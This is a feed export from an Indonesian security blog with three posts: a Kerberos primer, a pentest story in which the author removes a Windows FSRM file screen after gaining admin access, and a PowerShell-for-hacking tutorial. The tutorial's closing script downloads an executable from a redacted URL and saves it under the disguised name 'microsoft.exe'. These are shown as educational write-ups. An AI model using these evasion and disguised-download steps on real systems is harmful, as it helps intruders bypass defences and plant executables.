<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="632" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/event-4771-kerberos-authentication-illustration-1024x632.jpg" alt="" class="wp-image-503" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/event-4771-kerberos-authentication-illustration-1024x632.jpg 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/event-4771-kerberos-authentication-illustration-300x185.jpg 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/event-4771-kerberos-authentication-illustration-768x474.jpg 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/event-4771-kerberos-authentication-illustration-1536x947.jpg 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/event-4771-kerberos-authentication-illustration-2048x1263.jpg 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Kita perlu mengerti beberapa istilah untuk memahami komunikasi kerberos pada gambar diatas yaitu terkait dengan ticketing yang sangat penting kita pahami sebagai pentester, beberapa istilah terkait:</p>



<p><strong><em>KDC</em></strong>(Key Distribution Center) : Merupakan komponen penting pada protocol kerberos yaitu bertindak sebagai service pihak ketiga yang terpercaya(trusted)</p>



<p><em><strong>AS(<strong>Authentication service</strong>)</strong></em> : Yaitu suatu layanan / service yang memvalidasi authentikasi client pada kerberos</p>



<p><em><strong>TGT</strong></em>(Ticket Granting Ticket) : Merupakan ticket yang dikeluarkan oleh kerberos jika authentikasi awal berhasil </p>



<p><em><strong>TGS</strong></em>(Ticket Granting Server) : Merupakan komponen pada authentikasi kerberos yang berfungsi mengeluarkan ticket untuk mengakses layanan tertentu</p>



<p>Setelah kita tau istilah-istilah penting pada kerberos sekarang kita bahas mekanisme protocolnya</p>



<ol class="wp-block-list">
<li>Client melakukan authentikasi kerberos dan meminta TGT ke AS</li>



<li>Jika valid maka AS akan menerbitkan TGT dan TGT diberikan pada client</li>



<li>Lalu client kembali melakukan request ST(Service Ticket) pada kerberos TGS dengan membawa TGT </li>



<li>jika TGT valid maka TGS akan memberikan ST pada client</li>



<li>ST(Service Ticket) ini kemudian dipakai untuk akses ke service tertentu pada active directory seperti file server, email dsb</li>
</ol>



<p class="has-large-font-size"><strong><em>Penutup</em></strong></p>



<p>Disini kita sudah belajar mengenai konsep Active Directory dan berguna untuk keperluan pentesting yang mungkin akan aku bahas pada artikel selanjutnya, dan yang perlu ditekankan disini yaitu memiliki fundamental tentang system atau arsitektur itu sangat penting sebelum kita melangkah ke sisi security dan keamanan apalagi topik yang kompleks seperti Active Directory ini jadi semoga saja artikel ini dapat mudah dipahami tentunya semoga bermanfaat juga dan happy hacking, sekian.</p>



<p><em>&#8220;Learning never exhausts the mind.&#8221;</em> <strong>-Leonardo da Vinci</strong></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/01/09/kenalan-dengan-active-directory/">Kenalan dengan Active Directory</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2025/01/09/kenalan-dengan-active-directory/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Mengenal cFSRM pada windows untuk menyulitkan heker</title>
		<link>https://blog.bhineka-tech.org/2024/11/15/mengenal-cfsrm-pada-windows-untuk-menyulitkan-heker/</link>
					<comments>https://blog.bhineka-tech.org/2024/11/15/mengenal-cfsrm-pada-windows-untuk-menyulitkan-heker/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Fri, 15 Nov 2024 11:26:38 +0000</pubDate>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[operating system]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[red team]]></category>
		<category><![CDATA[Windows]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=328</guid>

					<description><![CDATA[<p>Pada saat aku melakukan pentesting dan mendapatkan initial access pada windows server terdapat perilaku yang aneh dimana pada directory C:/xampp/ dan subdirectory-nya tidak bisa dilakukan write file dengan extenstion tertentu seperti PHP, EXE, PS1 dan BAT ya mungkin saja extenstion tersebut dianggap berbahaya Disini aku mencoba beberapa pendekatan dan mengira ini masalah permission directory, karena [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/11/15/mengenal-cfsrm-pada-windows-untuk-menyulitkan-heker/">Mengenal cFSRM pada windows untuk menyulitkan heker</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Pada saat aku melakukan pentesting dan mendapatkan initial access pada windows server terdapat perilaku yang aneh dimana pada directory C:/xampp/ dan subdirectory-nya tidak bisa dilakukan write file dengan extenstion tertentu seperti PHP, EXE, PS1 dan BAT ya mungkin saja extenstion tersebut dianggap berbahaya </p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="628" height="211" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154131.png" alt="" class="wp-image-330" style="width:835px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154131.png 628w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154131-300x101.png 300w" sizes="auto, (max-width: 628px) 100vw, 628px" /></figure>



<p>Disini aku mencoba beberapa pendekatan dan mengira ini masalah permission directory, karena disini mendapatkan privilege sebagai administrator mudah saja untuk mengubah permission pada directory</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="574" height="197" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154228.png" alt="" class="wp-image-331" style="width:839px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154228.png 574w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154228-300x103.png 300w" sizes="auto, (max-width: 574px) 100vw, 574px" /></figure>



<p>Melakukan reverse shell connection dan melihat permission directory sempat bingung karena tidak ada pembatasan permission pada directory <em><strong>xampp</strong></em> di satu sisi untuk file dengan extenstion lain yang tidak berbahaya seperti .txt, .jpg dan semacamnya itu bisa dilakukan write</p>



<p>Berfikir sejenak dan terfikir menjalankan nmap untuk melihat service yang running.</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="599" height="165" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154634.png" alt="" class="wp-image-332" style="width:835px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154634.png 599w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154634-300x83.png 300w" sizes="auto, (max-width: 599px) 100vw, 599px" /></figure>



<p>Hoki sekali port 3389 RDP terbuka, karena kebanyakan windows server semacam ini menggunakan relay untuk menerima request yang masuk dari public network dan jarang sekali melakukan port forwarding 3389 melalui relay yang dijadikan reverse proxy</p>



<p>Langsung saja login RDP, karena privilege yang didapatkan yakni Administrator kita dengan mudah bisa membuat user baru menggunakan command <em><strong>net user</strong></em></p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="587" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155210-1024x587.png" alt="" class="wp-image-333" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155210-1024x587.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155210-300x172.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155210-768x441.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155210.png 1330w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>oke masuk, hal pertama yang ku lakukan yaitu langsung membuka console powershell dengan hak Administrator dan mencoba untuk masuk pada system account melalui <strong><em>PsExec</em></strong>. <strong><em>NT/SYTEM</em></strong> itu merupakan permission tertinggi pada windwos</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="493" height="248" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155559.png" alt="" class="wp-image-334" style="width:839px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155559.png 493w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155559-300x151.png 300w" sizes="auto, (max-width: 493px) 100vw, 493px" /></figure>



<p>Terlihat jika pada directory <em><strong>C:\inetpub </strong></em>kita bisa execute dan write .exe file</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="608" height="278" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155927.png" alt="" class="wp-image-335" style="width:835px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155927.png 608w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155927-300x137.png 300w" sizes="auto, (max-width: 608px) 100vw, 608px" /></figure>



<p>Wah tetap saja padahal disini kita sudah memakai system account dan juga owner directory itu milik system, ada yang ga beres sepertinya </p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="835" height="250" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-160306.png" alt="" class="wp-image-336" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-160306.png 835w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-160306-300x90.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-160306-768x230.png 768w" sizes="auto, (max-width: 835px) 100vw, 835px" /></figure>



<p>Program yang terinstall juga sangat sedikit yang hanya dipakai keperluan deployment dan tidak menunjukkan adanya antivirus third-party software </p>



<p>Dan disini aku langsung coba cek dari event log pada windows untuk identifikasi lebih lanjut</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="722" height="312" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-160816.png" alt="" class="wp-image-337" style="width:840px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-160816.png 722w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-160816-300x130.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-160816-720x312.png 720w" sizes="auto, (max-width: 722px) 100vw, 722px" /></figure>



<p>Indikasi dari event log application terdapat warning dengan deskripsi<em> file group which is not permitted on the system.</em> dan pada bagian source yang berasal dari service <strong><em>SRMSVC</em></strong></p>



<p><strong><em>SRMSVC</em></strong> itu merupakan source event log yang berasal dari <em><strong>FSRM</strong></em>(File Server Resource Manager), FSRM sendiri dipakai untuk management filesystem pada windows server. sekarang kita lihat konfigurasi registry dari SRMSVC pada path <em><strong>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\srmsvc</strong></em>\</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1013" height="514" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-174641.png" alt="" class="wp-image-339" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-174641.png 1013w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-174641-300x152.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-174641-768x390.png 768w" sizes="auto, (max-width: 1013px) 100vw, 1013px" /></figure>



<p>Tidak ada konfigurasi khusus yang terdapat pada hive registry <strong><em>SRMSVC</em></strong> dan disini sempat stuck sedikit dan lalu ingat jika <strong><em>SRMSVC</em></strong> merupakan source log pada <em><strong>FSRM</strong></em> yang harusnya konfigurasi terletak pada service <em><strong>FSRM</strong></em> itu sendiri</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="831" height="547" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-175700.png" alt="" class="wp-image-342" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-175700.png 831w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-175700-300x197.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-175700-768x506.png 768w" sizes="auto, (max-width: 831px) 100vw, 831px" /></figure>



<p>Jika di lihat dari basic setting <em><strong>FSRM</strong></em>  tidak ada rules khusus tapi jika kita lihat pada konfigurasi file screen dengan command <em>Get-FsrmFileScreen</em></p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="494" height="199" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-175951.png" alt="" class="wp-image-343" style="width:840px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-175951.png 494w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-175951-300x121.png 300w" sizes="auto, (max-width: 494px) 100vw, 494px" /></figure>



<p>ya itu dia, jadi disini ada rule khusus untuk ignore atau menolak file berbahaya dengan keterangan <strong><em>Block Executable Files</em></strong> jadi disini bisa langsung saja dilakukan disable maupun remove atau kita juga bisa melihat rule FSRM ini pada server manager</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1025" height="356" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181252.png" alt="" class="wp-image-344" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181252.png 1025w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181252-300x104.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181252-768x267.png 768w" sizes="auto, (max-width: 1025px) 100vw, 1025px" /></figure>



<p>Disini langsung ku lakukan remove rule menggunakan powershell</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="704" height="152" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181613.png" alt="" class="wp-image-345" style="width:840px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181613.png 704w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181613-300x65.png 300w" sizes="auto, (max-width: 704px) 100vw, 704px" /></figure>



<p>Setelah itu lalu kita coba write .php file pada directory xampp </p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="708" height="202" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181738.png" alt="" class="wp-image-346" style="width:840px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181738.png 708w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181738-300x86.png 300w" sizes="auto, (max-width: 708px) 100vw, 708px" /></figure>



<p>Dan itu berhasil, terlihat disini tidak ada error dan kita bisa menulis suatu php file pada directory. Mungkin cukup disini cerita singkat ku pada saat melakukan pentesting dan disini aku hanya sekedar sharing yang mungkin berguna saat kalian mengalami hal yang sama, sekian happy hacking guyss <img src="https://s.w.org/images/core/emoji/15.0.3/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



<p><em><strong>“Tidak ada yang akan berhasil kecuali kau melakukannya.”</strong></em> <em>-Maya Angelou</em></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/11/15/mengenal-cfsrm-pada-windows-untuk-menyulitkan-heker/">Mengenal cFSRM pada windows untuk menyulitkan heker</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/11/15/mengenal-cfsrm-pada-windows-untuk-menyulitkan-heker/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Powershell for hacking, dasar command pada powershell</title>
		<link>https://blog.bhineka-tech.org/2024/10/20/powershell-for-hacking-dasar-command-pada-powershell/</link>
					<comments>https://blog.bhineka-tech.org/2024/10/20/powershell-for-hacking-dasar-command-pada-powershell/#comments</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Sun, 20 Oct 2024 06:23:34 +0000</pubDate>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[technology]]></category>
		<category><![CDATA[Windows]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=270</guid>

					<description><![CDATA[<p>Jumpa lagi rek, pasti kalian ga asing kan dengan powershell ? nah jadi pada topik ini aku akan bahas mengenai fundamental command yang digunakan pada powershell. Powershell bisa dibilang merupakan suatu scripting language dimana berguna untuk melakukan task automation, process management hingga konfigurasi system Powershell sendiri dibangun diatas framework .NET dan Jika pada operating system [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/10/20/powershell-for-hacking-dasar-command-pada-powershell/">Powershell for hacking, dasar command pada powershell</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Jumpa lagi rek, pasti kalian ga asing kan dengan powershell ? nah jadi pada topik ini aku akan bahas mengenai fundamental command yang digunakan pada powershell. Powershell bisa dibilang merupakan suatu scripting language dimana berguna untuk melakukan task automation, process management hingga konfigurasi system</p>



<p>Powershell sendiri dibangun diatas framework .NET dan Jika pada operating system unix-like kita kenal dengan bash script yang yang merupakan command shell berbasis text, tidak seperti shell script lain uniknya pada powershell sendiri menggunakan shell yang berbasis object jadi semua command pada powershell dianggap sebagai suatu object, menarik bukan ?</p>



<p>Oh iya powershell sendiri mulai diperkenalkan pada windows XP yang dimana dulu powershell hanya bisa dipake pada windows environment tetapi sekarang kita bisa juga menginstall powershell pada operating system lain karena microsoft merilis powershell sebagai opensource.</p>



<p>Karena powershell itu tersedia secara default pada operating system windows jadi mempelajari powershell sangat berguna saat kita mendapatkan initial access pada windows machine jadi sesuai topik ini yaitu <strong>Powershell for hacking</strong> jadi kita akan belajar basic command serta melihat command apa saja yang sering dipakai pada powershell pada saat melakukan hacking/post-exploitation </p>



<p>Sebelum kita memulai kita perlu mengenal yang namanya <em>cmdlet</em>, <em>cmdlet</em> merupakan namming pattern yang berisi kata kerja dan kata benda pada suatu command jadi misalkan command <em>Get-ChildItem</em> yang digunakan untuk listing directory jadi Get merupakan kata kerja sementara ChildItem merupakan kata benda. cmdlet itu ada banyak sekali tetapi kita tidak perlu menghafalnya cukup kita perlu menginggat 2 command saja yaitu <em>Get-Command</em> yang digunakan untuk menampilkan semua atau spesifik nama dari cmdlet pada powershell dan command kedua ada <em>Get-Help</em> yang berfungsi untuk melihat detail dari cmdlet tersebut seperti argument dan penggunaan pada command cmdlet</p>



<p>Ada 3 CommandType yang ada pada powershell dimana di klasifikasikan menjadi 3 yaitu <em>Alias</em>, <em>Function</em> dan terakhir yang kita bahas tadi yaitu <em>cmdlet</em> jadi mari kita bahas:</p>



<p><strong>Alias </strong>: Bisa dibilang alias ini seperti singkatan dari cmdlet dan function dari powershell dan kita bisa mudah melihatnya menggunakan command <em>get-alias</em></p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1158" height="684" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-105808.png" alt="" class="wp-image-281"/></figure>



<p>beberapa command alias mirip dengan bash seperti alias <em>cat </em>untuk membaca file yang aslinya merupakan cmdlet dari <em>Get-Content</em> lalu ada alias cd dan chdir untuk berpindah directory yang juga sebenarnya merupakan command cmdlet dari <em>Set-Location</em></p>



<p><strong>Function</strong> : function ini sebenernya juga masuk ke cmdlet tetapi kita juga bisa melakukan custom function pada powershell atau yang dikenal dengan user defined function</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="878" height="640" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-111528.png" alt="" class="wp-image-282"/></figure>



<p>Disini kita coba definisikan fungsi InfoTanggal-dan-IpAddress yang hanya menampilkan informasi tanggal dan IP Address pada local computer dan pada gambar kita bisa melihat pada blok fungsi kita memanggil cmdlet <strong>Get-Date</strong> dan alias <strong>gip</strong> yang memfilter hanya untuk menampilkan IP address</p>



<p><strong>Cmdlet</strong>: Seperti yang dibahas sebelumnya, cmdlet berisi suatu perintah dasar seperti menampilkan directory, berpindah directory, membuat file, membuat folder dan banyak lagi ya, contoh cmdlet yang sering digunakan:</p>



<ul class="wp-block-list">
<li>Get-ChildItem : untuk listing directory </li>



<li>Set-Location: Untuk berpindah directory</li>



<li>Get-Content : Untuk membaca file</li>



<li>Add-Content : untuk membuat file / append string jika file sudah ada</li>



<li>Set-Content : Untuk membuat file / modifikasi string jika file sudah ada</li>



<li>Remove-Item : menghapus file / directory</li>



<li>Rename-Item : rename file / directory</li>



<li>Copy-Item : salin file / directory</li>



<li>Move-Item : pindahkan file / directory</li>
</ul>



<p>Sebenarnya masih banyak lagi ya cuman kalian bisa explore sendiri untuk lebih lengkapnya, nah disini misalkan kasusnya kita tidak mengerti bagaimana cmdlet <strong>Add-Content</strong> bekerja kita bisa mudah menggunakan command <strong>Get-Help Add-Content</strong> untuk menampilkan informasi bantuan pada cmdlet tersebut</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1301" height="588" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-113036.png" alt="" class="wp-image-288"/></figure>



<p>Nah ditampilkan informasi argument apa saja yang dibutuhkan, tenang saja kita tidak membutuhkan semua argument hanya argument yang wajib/required kita gunakan yaitu <em>-Path</em> yang merupakan nama file dan <em>-Value</em> isi pada string dan jika kurang jelas kita bisa melihat di dokumentasi microsoft pada link yang sudah disertakan pada output atau bisa juga menggunakan command Get-Help nama_<em>cmdlet</em> -Full</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="992" height="692" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-113654.png" alt="" class="wp-image-289"/></figure>



<p>Disini sangat detail karena disertakan hingga penjelasan dari parameter yang required dan opsional jadi langsung saja kita coba</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1050" height="170" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-113923.png" alt="" class="wp-image-290"/></figure>



<p>Disini kita memakai cmdlet Add-Content untuk membuat file serta kita coba baca dari file yang kita buat memakai cmdlet Get-Content, semudahh itu kan </p>



<p>Setelah kita tau cmdline, alias dan function sekarang kita akan membahas <strong>pipeline</strong>, nah apa itu ?? jadi <strong>pipeline</strong> itu suatu cara pada powershell yang digunakan untuk mengarahkan output ke command lain menggunakan satu baris command dan hal ini berguna misalkan untuk sorting string, mencari string tertentu dalam file/output, memfilter output, melakukan operasi pada string yang dipilih dan masih banyak lagi.</p>



<p>Sama seperti pada bash, pipeline pada powershell juga menggunakan special character <strong>|</strong>(pipe) tetapi karena powershell semua command di respresentasikan sebagai object jadi kita bisa melakukannya lebih mudah</p>



<p>Kita mulai dengan cmdlet Get-Service yang berguna untuk menampilkan semua service pada computer</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="902" height="697" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-115059.png" alt="" class="wp-image-293"/></figure>



<p>Dan disini kita hanya akan memfilter nama pada service jadi kita bisa dengan mudah menggunakan pipeline dan diikut dengan cmdlet <em>Select-Object</em></p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="908" height="586" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-115223.png" alt="" class="wp-image-294"/></figure>



<p>Sangat mudah bukan, dimana kita melakukan Select-Object Name dimana Name merupakan parameter Name diambil dari column dari output Get-Service, Nah sekarang kita akan menampilkan hanya service yang memiliki status stop / tidak running kita dengan mudah menggunakan Where-Object</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="908" height="510" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-115622.png" alt="" class="wp-image-295"/></figure>



<p>Output hanya menampilkan service dengan status stopped dan disitu kita menggunakan Where-Object diikuti dengan <strong>{$_.Status -eq &#8220;Stopped&#8221;}</strong> yang dimana hal ini merupakan rules syntax dari powershell sendiri dan <strong>$_.Status</strong> artinya kita mengambil column status dan <strong>-eq</strong> merupakan operasi komparasi sama dengan dan diikuti dengan string &#8220;Stopped&#8221;</p>



<p>Kita juga bisa menggunakan lebih dari 2 pipeline </p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1000" height="642" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-120130.png" alt="" class="wp-image-296"/></figure>



<p>Dalam kasus ini kita akan memilih service yang berstatus &#8220;<strong>Stopped</strong>&#8221; dan diikuti dengan <em>Select-Object Name</em> artinya kita hanya memanggil nama dari service pada output yang berarti menampilkan nama service dengan status Stopped </p>



<p>Contoh selanjutnya kita akan mulai bekerja dengan file yaitu menampilkan file pada current path yang lebih baru dari 30 hari sebelumnya, kita tahu jika operasi listing menggunakan Get-ChildItem</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1325" height="611" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-120813.png" alt="" class="wp-image-299"/></figure>



<p>Sebelum kita memulai kita perlu tau dulu spesifikasi dari command Get-ChildItem dimana kita bisa melakukan scanning rekursif menggunakan argument <strong>-Recurse</strong> dan kita juga bisa melihat argument yang bersifat required dan bukan.</p>



<p>Selanjutnya kita bisa memanfaatkan pipeline untuk ini </p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1263" height="543" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-122414.png" alt="" class="wp-image-300"/></figure>



<p>Disini command-nya sangat sederhana pertama kita recursif scan menggunakan -Recurse dan -File merupakan argument yang hanya digunakan untuk melakukan scanning pada file bukan directory dan kita lakukan pipeline dengan where-object artinya kita akan melakukan compare dimana $_.LastWriteTime merupakan column timestamp dan -ge merupakan operasi lebih dari diikuti dengan fungsi (Get-Date).AddDays(-30) yang berarti kita mengambil tanggal sekarang dikurangi 30 hari dan lanjut melakukan select column dimana disitu kita hanya akan menampilkan fullpath dengan menggunakan argument Fullname</p>



<p>Contoh terakhir kita akan melihat kemampuan cmdlet untuk melihat dan melakukan konfigurasi system</p>



<p>Kita bisa dengan mudah menampilkan semua subkey registry HKCU menggunakan Get-ChildItem</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="665" height="355" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-123410.png" alt="" class="wp-image-303" style="width:830px;height:auto"/></figure>



<p>Kita juga bisa melihat value dari hive registry menggunakan cmdlet Get-ItemProperty diikuti path dari registry key-nya</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="1329" height="316" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-124429.png" alt="" class="wp-image-305" style="width:840px;height:auto"/></figure>



<p>Disini kita bisa melihat autorun program yang dijalankan pada saat selesai booting diantaranya ada openvpn-gui.exe, discord, opera.exe dan lainnya ya</p>



<p>Dan kita bisa menghapus salah satu value dari registry tersebut menggunakan Remove-ItemProperty, disini kita akan mencoba untuk menghapus discord agar tidak dijalankan saat computer dinyalakan</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1331" height="337" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-125051.png" alt="" class="wp-image-306"/></figure>



<p>Pada gambar ini, terlihat kita menghapus value dengan nama discord jadi sekarang discord tidak lagi menjadi autorun program</p>



<p>Powershell sendiri sebenarnya suatu utility yang sangat powerfull entah dari segi sysadmin, configuration, automation maupun pentesting karena kita bisa melakukan apapun pada machine hanya dengan input suatu command dan juga kita bisa membuat script powershell pada satu file dengan extension .ps1, jadi kita akan mencoba coding untuk menjalankan executable jadi siapkan text editor disini kita akan menggunakan vscode</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1043" height="502" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/poweshell.png" alt="" class="wp-image-307"/></figure>



<p>oke kita bedah scriptnya, jadi pada script powershell ini digunakan untuk menjalankan suatu executable yaitu putty, putty adalah suatu aplikasi yang dipake untuk keperluan remote jaringan dan kita bisa menggunakan putty untuk komunikasi pada protocol ssh, ftp, smb dan protocol yang digunakan untuk remote login lainnya </p>



<pre class="wp-block-code"><code>$processName = "microsoft"

$tempDir = &#91;System.IO.Path]::GetTempPath()
$exePath = Join-Path -Path $tempDir -ChildPath "microsoft.exe"

$downloadUrl = "http://&#91;redacted]/putty.exe"

</code></pre>



